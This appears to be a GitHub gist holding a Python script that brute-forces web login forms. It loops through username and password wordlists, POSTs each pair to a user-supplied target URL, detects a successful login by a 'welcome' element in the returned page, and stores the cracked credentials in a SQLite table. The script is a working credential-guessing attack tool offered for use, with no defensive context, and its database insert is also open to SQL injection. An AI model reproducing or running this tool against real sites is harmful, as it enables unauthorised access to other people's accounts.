Created
February 21, 2017 14:31
-
-
Save RaminNietzsche/ca63ff88ca4e95fe206bf7e3c99d9ecf to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from bs4 import BeautifulSoup | |
import click | |
import validators | |
import eventlet | |
import sqlite3 | |
eventlet.monkey_patch() | |
con = None | |
def start_db(): | |
global con | |
try: | |
con = sqlite3.connect('test.db') | |
cur = con.cursor() | |
cur.execute("CREATE TABLE IF NOT EXISTS acc(Name TEXT, Pass TEXT)") | |
except: | |
print ("Error DataBase") | |
return | |
def end_db(): | |
if con: | |
con.close() | |
def add_db(username, password): | |
cur = con.cursor() | |
cur.execute("INSERT INTO acc VALUES('" + username + "', '" + password + "');") | |
con.commit() | |
def show_db(): | |
print("=" * 8 + " RESULT " + "=" * 8) | |
cur = con.cursor() | |
cur.execute("SELECT * FROM acc") | |
rows = cur.fetchall() | |
for row in rows: | |
print(row) | |
@click.command() | |
@click.option('--usernamef', help='username file dic.', required = True) | |
@click.option('--passwordf', help='password file dic.', required = True) | |
@click.option('--url' , help='enter your target.', required = True) | |
def bf(usernamef, passwordf, url): | |
if validators.url(url): | |
URL = url | |
else: | |
print("Invalid URL") | |
return | |
headers = { 'User-Agent': 'My User Agent 1.0' } | |
try: | |
with open(usernamef) as uf: | |
for uname in uf: | |
username = uname.replace("\n", '') | |
try: | |
with open(passwordf) as pf: | |
for upass in pf: | |
password = upass.replace("\n", '') | |
data = {"user" : username, "password" : password, "is_login" : "is_login"} | |
try: | |
with eventlet.Timeout(10): | |
check = requests.post(URL, headers = headers, data = data) | |
if check.status_code == 200 : | |
soup = BeautifulSoup(check.text, "html.parser") | |
lst = soup.findAll('form', attrs={'class':'login-form'}) | |
for item in lst: | |
if item.findAll('div', {'class' : 'welcome'}): | |
add_db(username, password) | |
except: | |
print("Web site does not exist") | |
return | |
except: | |
print("Check Password File!") | |
return | |
except: | |
print("Check Username File!") | |
return | |
show_db() | |
end_db() | |
if __name__ == '__main__': | |
start_db() | |
bf() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment